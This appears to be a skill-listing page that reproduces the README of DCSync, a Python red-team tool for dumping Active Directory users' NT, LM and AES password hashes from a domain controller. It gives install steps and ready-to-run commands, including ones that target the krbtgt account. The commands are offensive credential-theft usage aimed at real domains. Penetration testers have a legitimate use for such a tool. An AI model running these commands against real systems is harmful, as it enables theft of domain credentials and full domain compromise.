SkillAgentSearch skills...

DCSync

DCSync is a python script for dumping domain users secrets

Install / Use

/learn @AetherBlack/DCSync
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

 ┓       
┏┫┏┏┓┏┏┓┏
┗┻┗┛┗┫┛┗┗
     ┛   
<p align="center"> A python script for dumping domain users secrets using DCSync method. <br> <img alt="PyPI" src="https://img.shields.io/pypi/v/DCSync"> <img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/AetherBlack/DCSync"> <a href="https://twitter.com/intent/follow?screen_name=san__yohan" title="Follow"><img src="https://img.shields.io/twitter/follow/san__yohan?label=Aether&style=social"></a> <br> </p>

Installation

You can install it from pypi (latest version is <img alt="PyPI" src="https://img.shields.io/pypi/v/DCSync">) with this command:

sudo python3 -m pip install dcsync

OR from source :

git clone https://github.com/AetherBlack/DCSync
cd DCSync
python3 -m venv .
source bin/activate
python3 -m pip install .

OR with pipx :

python3 -m pipx install git+https://github.com/AetherBlack/DCSync/

Examples

  • You want to DCSync the whole domain with Administrator privilegies :
dcsync $DOMAIN/$USER:"$PASSWORD"@$DC

  • You want to DCSync for a single principal :
dcsync -just-user krbtgt -k $DOMAIN/$USER:"$PASSWORD"@$DC

  • You want to DCSync the whole domain without Administrator privilegies using ldap method :
dcsync -method ldap $DOMAIN/$USER:"$PASSWORD"@$DC

You can use this methods :

samr (Default)
ldap
file
  • You want to DCSync only a list of specific principals :
dcsync -just-user-file ./usersfile.txt $DOMAIN/$USER:"$PASSWORD"@$DC

How it works

The tool will use the provided method to enumerate the users of the domain. Then, it will connect to the DC's RPC to dump their NT hash, LM hash, AES hash and history hash.


Credits

License

GNU General Public License v3.0

Related Skills

View on GitHub
GitHub Stars12
CategoryDevelopment
Updated5mo ago
Forks2

Languages

Python

Security Score

87/100

Audited on Oct 28, 2025

No findings